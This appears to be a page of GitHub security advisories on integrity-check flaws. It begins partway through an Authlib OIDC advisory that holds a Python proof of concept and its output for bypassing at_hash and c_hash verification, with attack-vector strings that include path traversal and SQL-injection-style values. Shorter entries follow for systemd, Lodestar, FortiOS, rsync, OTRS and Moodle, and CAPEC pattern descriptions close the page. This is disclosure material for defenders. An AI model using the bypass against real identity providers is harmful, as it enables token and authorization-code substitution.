aceptado: {evil_token}\")\n except Exception as e:\n ok(f\"Caso B rechazado correctamente: {e}\")\n\n# \u2500\u2500\u2500 test 3: HybridIDToken.validate_c_hash() bypass \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef test_c_hash_bypass():\n \"\"\"\n @notice Mismo bypass pero para c_hash en Hybrid Flow.\n Permite Authorization Code Substitution Attack.\n @dev OIDC Core 1.0 s3.3.2.11 exige verificacion obligatoria de c_hash.\n Authlib la omite cuando el alg es desconocido.\n \"\"\"\n header(\"TEST 3 - HybridIDToken.validate_c_hash() Bypass (Hybrid Flow)\")\n\n real_code = \"SplxlOBeZQQYbYS6WxSbIA\"\n evil_code = \"ATTACKER_FORGED_AUTH_CODE\"\n fake_chash = \"ZZZZZZZZZZZZZZZZZZZZZZ\"\n\n token = HybridIDToken(\n {\"iss\": \"https://idp.example.com\", \"sub\": \"user\", \"aud\": \"client\",\n \"exp\": int(time.time()) + 3600, \"iat\": int(time.time()),\n \"nonce\": \"n123\", \"at_hash\": \"AAAA\", \"c_hash\": fake_chash},\n {\"code\": evil_code, \"access_token\": \"sometoken\"}\n )\n token.header = {\"alg\": \"XX9999\"}\n\n try:\n token.validate_c_hash()\n fail(f\"c_hash={fake_chash!r} aceptado con alg=XX9999 -\u003e Authorization Code Substitution posible\")\n info(f\"code del atacante aceptado: {evil_code}\")\n except Exception as e:\n ok(f\"Rechazado correctamente: {e}\")\n\n# \u2500\u2500\u2500 test 4: superficie de ataque \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef test_attack_surface():\n \"\"\"\n @notice Mapea todos los valores de alg que disparan el bypass.\n @dev create_half_hash hace: getattr(hashlib, f\"sha{alg[2:]}\", None)\n Cualquier string que no resuelva a un atributo de hashlib -\u003e None -\u003e bypass.\n \"\"\"\n header(\"TEST 4 - Superficie de Ataque\")\n\n token = \"test_token\"\n fake_sig = \"AAAAAAAAAAAAAAAAAAAAAA\"\n\n vectors = [\n \"CUSTOM_ALG\", \"XX9999\", \"none\", \"None\", \"\", \"RS\", \"SHA256\",\n \"HS0\", \"EdDSA256\", \"PS999\", \"RS 256\", \"../../../etc\", \"\u0027 OR \u00271\u0027=\u00271\",\n ]\n\n print(f\" {\u0027alg\u0027:\u003c22} {\u0027half_hash\u0027:\u003c10} resultado\")\n print(f\" {\u0027-\u0027*22} {\u0027-\u0027*10} {\u0027-\u0027*20}\")\n\n for alg in vectors:\n hv = create_half_hash(token, alg)\n result = authlib_verify_hash(fake_sig, token, alg)\n hv_str = \"None\" if hv is None else \"bytes\"\n res_str = f\"{RED}BYPASS{R}\" if result else f\"{GRN}OK{R}\"\n print(f\" {alg!r:\u003c22} {hv_str:\u003c10} {res_str}\")\n\n# \u2500\u2500\u2500 main \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nif __name__ == \"__main__\":\n print(f\"\\n{BLD}authlib {authlib.__version__} - OIDC Hash Verification Bypass PoC{R}\")\n print(f\"authlib/oidc/core/claims.py :: _verify_hash() \\n\")\n\n test_root_cause()\n test_at_hash_bypass()\n test_c_hash_bypass()\n test_attack_surface()\n\n print(f\"\\n{DIM}Fix: `if not hash_value` -\u003e `if hash_value is None` en _verify_hash(){R}\\n\")\n```\n\n---\n\n## Output\n\n```bash\nuthlib 1.6.8 - OIDC Hash Verification Bypass PoC\nauthlib/oidc/core/claims.py :: _verify_hash() \n\n\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nTEST 1 - Root Cause: create_half_hash() + _verify_hash()\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n create_half_hash(token, \u0027CUSTOM_ALG\u0027) -\u003e None (None = alg no soportado)\n\n [BYPASS] authlib _verify_hash() retorno True con firma falsa y alg=\u0027CUSTOM_ALG\u0027\n [OK] _verify_hash_patched() retorno False (fail-closed correcto)\n\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nTEST 2 - IDToken.validate_at_hash() Bypass (Implicit / Hybrid Flow)\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n [OK] Caso A (legitimo, RS256): at_hash=gh_beqqliVkRPAXdOz2Gbw -\u003e aceptado\n [BYPASS] Caso B (atacante, alg=CUSTOM_ALG): at_hash=FAAAAAAAAAAAAAAAAAAAA -\u003e BYPASS exitoso\n access_token del atacante aceptado: ya29.MALICIOUS_token_under_attacker_control\n\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nTEST 3 - HybridIDToken.validate_c_hash() Bypass (Hybrid Flow)\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n [BYPASS] c_hash=\u0027ZZZZZZZZZZZZZZZZZZZZZZ\u0027 aceptado con alg=XX9999 -\u003e Authorization Code Substitution posible\n code del atacante aceptado: ATTACKER_FORGED_AUTH_CODE\n\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nTEST 4 - Superficie de Ataque\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n alg half_hash resultado\n ---------------------- ---------- --------------------\n \u0027CUSTOM_ALG\u0027 None BYPASS\n \u0027XX9999\u0027 None BYPASS\n \u0027none\u0027 None BYPASS\n \u0027None\u0027 None BYPASS\n \u0027\u0027 None BYPASS\n \u0027RS\u0027 None BYPASS\n \u0027SHA256\u0027 None BYPASS\n \u0027HS0\u0027 None BYPASS\n \u0027EdDSA256\u0027 None BYPASS\n \u0027PS999\u0027 None BYPASS\n \u0027RS 256\u0027 None BYPASS\n \u0027../../../etc\u0027 None BYPASS\n \"\u0027 OR \u00271\u0027=\u00271\" None BYPASS\n\nFix: `if not hash_value` -\u003e `if hash_value is None` en _verify_hash()\n```",
"id": "GHSA-m344-f55w-2m6j",
"modified": "2026-03-16T21:54:15Z",
"published": "2026-03-16T16:15:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/security/advisories/GHSA-m344-f55w-2m6j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28498"
},
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/commit/b9bb2b25bf8b7e01512d847a95c1749646eaa72b"
},
{
"type": "PACKAGE",
"url": "https://github.com/authlib/authlib"
},
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/releases/tag/v1.6.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Authlib: Fail-Open Cryptographic Verification in OIDC Hash Binding"
}
GHSA-M3QW-F5F6-M6R3
Vulnerability from github – Published: 2023-06-13 18:30 – Updated: 2023-12-21 15:30An issue was discovered in systemd 253. An attacker can truncate a sealed log file and then resume log sealing such that checking the integrity shows no error, despite modifications.
{
"affected": [],
"aliases": [
"CVE-2023-31438"
],
"database_specific": {
"cwe_ids": [
"CWE-354"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-13T17:15:14Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in systemd 253. An attacker can truncate a sealed log file and then resume log sealing such that checking the integrity shows no error, despite modifications.",
"id": "GHSA-m3qw-f5f6-m6r3",
"modified": "2023-12-21T15:30:31Z",
"published": "2023-06-13T18:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-31438"
},
{
"type": "WEB",
"url": "https://github.com/systemd/systemd/pull/28886"
},
{
"type": "WEB",
"url": "https://github.com/kastel-security/Journald"
},
{
"type": "WEB",
"url": "https://github.com/kastel-security/Journald/blob/main/journald-publication.pdf"
},
{
"type": "WEB",
"url": "https://github.com/systemd/systemd/releases"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-M525-P4RF-7H93
Vulnerability from github – Published: 2024-01-29 12:30 – Updated: 2024-01-29 12:30Improper Input Validation vulnerability in the upload functionality for user avatars allows functionality misuse due to missing check of filetypes. This issue affects OTRS: from 7.0.X through 7.0.48, from 8.0.X through 8.0.37, from 2023 through 2023.1.1.
{
"affected": [],
"aliases": [
"CVE-2024-23790"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-354"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-29T10:15:08Z",
"severity": "LOW"
},
"details": "Improper Input Validation vulnerability in the upload functionality for user avatars allows functionality misuse due to missing check of filetypes.\nThis issue affects OTRS: from 7.0.X through 7.0.48, from 8.0.X through 8.0.37, from 2023 through 2023.1.1.\n\n",
"id": "GHSA-m525-p4rf-7h93",
"modified": "2024-01-29T12:30:20Z",
"published": "2024-01-29T12:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23790"
},
{
"type": "WEB",
"url": "https://otrs.com/release-notes/otrs-security-advisory-2024-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-M6WW-2P98-RFP9
Vulnerability from github – Published: 2023-11-14 18:30 – Updated: 2024-10-18 15:31An improper validation of integrity check value vulnerability [CWE-354] in FortiOS 7.2.0 through 7.2.3, 7.0.0 through 7.0.12, 6.4 all versions, 6.2 all versions, 6.0 all versions and FortiProxy 7.2 all versions, 7.0 all versions, 2.0 all versions VMs may allow a local attacker with admin privileges to boot a malicious image on the device and bypass the filesystem integrity check in place.
{
"affected": [],
"aliases": [
"CVE-2023-28002"
],
"database_specific": {
"cwe_ids": [
"CWE-354"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-14T18:15:29Z",
"severity": "MODERATE"
},
"details": "An improper validation of integrity check value vulnerability [CWE-354] in FortiOS 7.2.0 through 7.2.3, 7.0.0 through 7.0.12, 6.4 all versions, 6.2 all versions, 6.0 all versions and FortiProxy 7.2 all versions, 7.0 all versions, 2.0 all versions VMs may allow a local attacker\u00a0with admin privileges to boot a malicious image on the device and bypass the filesystem integrity check in place.",
"id": "GHSA-m6ww-2p98-rfp9",
"modified": "2024-10-18T15:31:11Z",
"published": "2023-11-14T18:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28002"
},
{
"type": "WEB",
"url": "https://fortiguard.com/psirt/FG-IR-22-396"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M83X-3X2C-26Q8
Vulnerability from github – Published: 2022-05-13 01:44 – Updated: 2025-04-20 03:47rsync 3.1.3-development before 2017-10-24 mishandles archaic checksums, which makes it easier for remote attackers to bypass intended access restrictions. NOTE: the rsync development branch has significant use beyond the rsync developers, e.g., the code has been copied for use in various GitHub projects.
{
"affected": [],
"aliases": [
"CVE-2017-15994"
],
"database_specific": {
"cwe_ids": [
"CWE-354"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-10-29T06:29:00Z",
"severity": "CRITICAL"
},
"details": "rsync 3.1.3-development before 2017-10-24 mishandles archaic checksums, which makes it easier for remote attackers to bypass intended access restrictions. NOTE: the rsync development branch has significant use beyond the rsync developers, e.g., the code has been copied for use in various GitHub projects.",
"id": "GHSA-m83x-3x2c-26q8",
"modified": "2025-04-20T03:47:50Z",
"published": "2022-05-13T01:44:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-15994"
},
{
"type": "WEB",
"url": "https://git.samba.org/?p=rsync.git%3Ba=commit%3Bh=7b8a4ecd6ff9cdf4e5d3850ebf822f1e989255b3"
},
{
"type": "WEB",
"url": "https://git.samba.org/?p=rsync.git%3Ba=commit%3Bh=9a480deec4d20277d8e20bc55515ef0640ca1e55"
},
{
"type": "WEB",
"url": "https://git.samba.org/?p=rsync.git%3Ba=commit%3Bh=c252546ceeb0925eb8a4061315e3ff0a8c55b48b"
},
{
"type": "WEB",
"url": "https://git.samba.org/?p=rsync.git;a=commit;h=7b8a4ecd6ff9cdf4e5d3850ebf822f1e989255b3"
},
{
"type": "WEB",
"url": "https://git.samba.org/?p=rsync.git;a=commit;h=9a480deec4d20277d8e20bc55515ef0640ca1e55"
},
{
"type": "WEB",
"url": "https://git.samba.org/?p=rsync.git;a=commit;h=c252546ceeb0925eb8a4061315e3ff0a8c55b48b"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M9C9-MC2H-9WJW
Vulnerability from github – Published: 2025-01-14 22:04 – Updated: 2025-01-14 22:04Impact
Unintended permanent chain split affecting greater than or equal to 25% of the network, requiring hard fork (network partition requiring hard fork)
Lodestar does not verify checksum in snappy framing uncompressed chunks.
Vulnerability Details
In Req/Resp protocol the messages are encoded by using ssz_snappy encoding, which is a snappy framing compression over ssz encoded message.
In snappy framing format there are uncompressed chunks, each such chunk is prefixed with a checksum.
Let's see how golang implementation parses such chunks - https://github.com/golang/snappy/blob/master/decode.go#L176
case chunkTypeUncompressedData:
// Section 4.3. Uncompressed data (chunk type 0x01).
if chunkLen < checksumSize {
r.err = ErrCorrupt
return r.err
}
buf := r.buf[:checksumSize]
if !r.readFull(buf, false) {
return r.err
}
checksum := uint32(buf[0]) | uint32(buf[1])<<8 | uint32(buf[2])<<16 | uint32(buf[3])<<24
// Read directly into r.decoded instead of via r.buf.
n := chunkLen - checksumSize
if n > len(r.decoded) {
r.err = ErrCorrupt
return r.err
}
if !r.readFull(r.decoded[:n], false) {
return r.err
}
if crc(r.decoded[:n]) != checksum {
r.err = ErrCorrupt
return r.err
}
r.i, r.j = 0, n
continue
As you can see, if checksum is incorrect, decoder fails and returns error.
Now let's look at lodestar decoder https://github.com/ChainSafe/lodestar/blob/unstable/packages/reqresp/src/encodingStrategies/sszSnappy/snappyFrames/uncompress.ts#L17
uncompress(chunk: Uint8ArrayList): Uint8ArrayList | null {
this.buffer.append(chunk);
const result = new Uint8ArrayList();
while (this.buffer.length > 0) {
if (this.buffer.length < 4) break;
const type = getChunkType(this.buffer.get(0));
const frameSize = getFrameSize(this.buffer, 1);
if (this.buffer.length - 4 < frameSize) {
break;
}
const data = this.buffer.subarray(4, 4 + frameSize);
this.buffer.consume(4 + frameSize);
if (!this.state.foundIdentifier && type !== ChunkType.IDENTIFIER) {
throw "malformed input: must begin with an identifier";
}
if (type === ChunkType.IDENTIFIER) {
if (!Buffer.prototype.equals.call(data, IDENTIFIER)) {
throw "malformed input: bad identifier";
}
this.state.foundIdentifier = true;
continue;
}
if (type === ChunkType.COMPRESSED) {
result.append(uncompress(data.subarray(4)));
}
if (type === ChunkType.UNCOMPRESSED) {
1) result.append(data.subarray(4));
}
}
if (result.length === 0) {
return null;
}
return result;
}
As you can see, checksum is not verified, bytes are appended to 'result'
Proof of Concept
How to reproduce:
get poc via gist link and run it:
$ node dec1.mjs
checking chunk type=255
checking chunk type=1
got uncompressed chunk..
Decompressed ok 124 bytes
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@lodestar/reqresp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.25.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-354"
],
"github_reviewed": true,
"github_reviewed_at": "2025-01-14T22:04:02Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Impact\nUnintended permanent chain split affecting greater than or equal to 25% of the network, requiring hard fork (network partition requiring hard fork)\n\nLodestar does not verify checksum in snappy framing uncompressed chunks.\n\n### Vulnerability Details\nIn Req/Resp protocol the messages are encoded by using ssz_snappy encoding, which is a snappy framing compression over ssz encoded message.\n\nIn snappy framing format there are uncompressed chunks, each such chunk is prefixed with a checksum.\n\nLet\u0027s see how golang implementation parses such chunks - https://github.com/golang/snappy/blob/master/decode.go#L176\n\n```\n\tcase chunkTypeUncompressedData:\n\t\t\t// Section 4.3. Uncompressed data (chunk type 0x01).\n\t\t\tif chunkLen \u003c checksumSize {\n\t\t\t\tr.err = ErrCorrupt\n\t\t\t\treturn r.err\n\t\t\t}\n\t\t\tbuf := r.buf[:checksumSize]\n\t\t\tif !r.readFull(buf, false) {\n\t\t\t\treturn r.err\n\t\t\t}\n\t\t\tchecksum := uint32(buf[0]) | uint32(buf[1])\u003c\u003c8 | uint32(buf[2])\u003c\u003c16 | uint32(buf[3])\u003c\u003c24\n\t\t\t// Read directly into r.decoded instead of via r.buf.\n\t\t\tn := chunkLen - checksumSize\n\t\t\tif n \u003e len(r.decoded) {\n\t\t\t\tr.err = ErrCorrupt\n\t\t\t\treturn r.err\n\t\t\t}\n\t\t\tif !r.readFull(r.decoded[:n], false) {\n\t\t\t\treturn r.err\n\t\t\t}\n\t\t\tif crc(r.decoded[:n]) != checksum {\n\t\t\t\tr.err = ErrCorrupt\n\t\t\t\treturn r.err\n\t\t\t}\n\t\t\tr.i, r.j = 0, n\n\t\t\tcontinue\n```\n\nAs you can see, if checksum is incorrect, decoder fails and returns error.\n\nNow let\u0027s look at lodestar decoder https://github.com/ChainSafe/lodestar/blob/unstable/packages/reqresp/src/encodingStrategies/sszSnappy/snappyFrames/uncompress.ts#L17\n\n```\nuncompress(chunk: Uint8ArrayList): Uint8ArrayList | null {\n this.buffer.append(chunk);\n const result = new Uint8ArrayList();\n while (this.buffer.length \u003e 0) {\n if (this.buffer.length \u003c 4) break;\n\n const type = getChunkType(this.buffer.get(0));\n const frameSize = getFrameSize(this.buffer, 1);\n\n if (this.buffer.length - 4 \u003c frameSize) {\n break;\n }\n\n const data = this.buffer.subarray(4, 4 + frameSize);\n this.buffer.consume(4 + frameSize);\n\n if (!this.state.foundIdentifier \u0026\u0026 type !== ChunkType.IDENTIFIER) {\n throw \"malformed input: must begin with an identifier\";\n }\n\n if (type === ChunkType.IDENTIFIER) {\n if (!Buffer.prototype.equals.call(data, IDENTIFIER)) {\n throw \"malformed input: bad identifier\";\n }\n this.state.foundIdentifier = true;\n continue;\n }\n\n if (type === ChunkType.COMPRESSED) {\n result.append(uncompress(data.subarray(4)));\n }\n if (type === ChunkType.UNCOMPRESSED) {\n1) result.append(data.subarray(4));\n }\n }\n if (result.length === 0) {\n return null;\n }\n return result;\n }\n```\n\nAs you can see, checksum is not verified, bytes are appended to \u0027result\u0027\n\n### Proof of Concept\n\nHow to reproduce:\n\nget poc via [gist link](https://gist.github.com/gln7/aab55674431b1c8d42a59ccf9d7cbf60) and run it:\n\n```\n$ node dec1.mjs \nchecking chunk type=255\nchecking chunk type=1\ngot uncompressed chunk..\nDecompressed ok 124 bytes\n```\n",
"id": "GHSA-m9c9-mc2h-9wjw",
"modified": "2025-01-14T22:04:02Z",
"published": "2025-01-14T22:04:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ChainSafe/lodestar/security/advisories/GHSA-m9c9-mc2h-9wjw"
},
{
"type": "WEB",
"url": "https://github.com/ChainSafe/lodestar/commit/18a0d681dbcc51fb2ac9456f31e91f4e31a18300"
},
{
"type": "PACKAGE",
"url": "https://github.com/ChainSafe/lodestar"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Lodestar snappy checksum issue"
}
GHSA-MM73-86F9-5X5C
Vulnerability from github – Published: 2022-05-24 17:40 – Updated: 2024-04-23 23:37It was found in Moodle before version 3.10.1, 3.9.4 and 3.8.7 that a insufficient capability checks in some grade related web services meant students were able to view other students grades.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "3.8"
},
{
"fixed": "3.8.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "3.9"
},
{
"fixed": "3.9.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "3.10"
},
{
"fixed": "3.10.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-20184"
],
"database_specific": {
"cwe_ids": [
"CWE-354"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-23T23:37:58Z",
"nvd_published_at": "2021-01-28T19:15:00Z",
"severity": "MODERATE"
},
"details": "It was found in Moodle before version 3.10.1, 3.9.4 and 3.8.7 that a insufficient capability checks in some grade related web services meant students were able to view other students grades.",
"id": "GHSA-mm73-86f9-5x5c",
"modified": "2024-04-23T23:37:58Z",
"published": "2022-05-24T17:40:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20184"
},
{
"type": "PACKAGE",
"url": "https://github.com/moodle/moodle"
},
{
"type": "WEB",
"url": "https://moodle.org/mod/forum/discuss.php?d=417167"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Moodle Grade information disclosure in grade\u0027s external fetch functions"
}
Mitigation
Ensure that the checksums present in messages are properly checked in accordance with the protocol specification before they are parsed and used.
CAPEC-145: Checksum Spoofing
An adversary spoofs a checksum message for the purpose of making a payload appear to have a valid corresponding checksum. Checksums are used to verify message integrity. They consist of some value based on the value of the message they are protecting. Hash codes are a common checksum mechanism. Both the sender and recipient are able to compute the checksum based on the contents of the message. If the message contents change between the sender and recipient, the sender and recipient will compute different checksum values. Since the sender's checksum value is transmitted with the message, the recipient would know that a modification occurred. In checksum spoofing an adversary modifies the message body and then modifies the corresponding checksum so that the recipient's checksum calculation will match the checksum (created by the adversary) in the message. This would prevent the recipient from realizing that a change occurred.
CAPEC-463: Padding Oracle Crypto Attack
An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.
CAPEC-75: Manipulating Writeable Configuration Files
Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.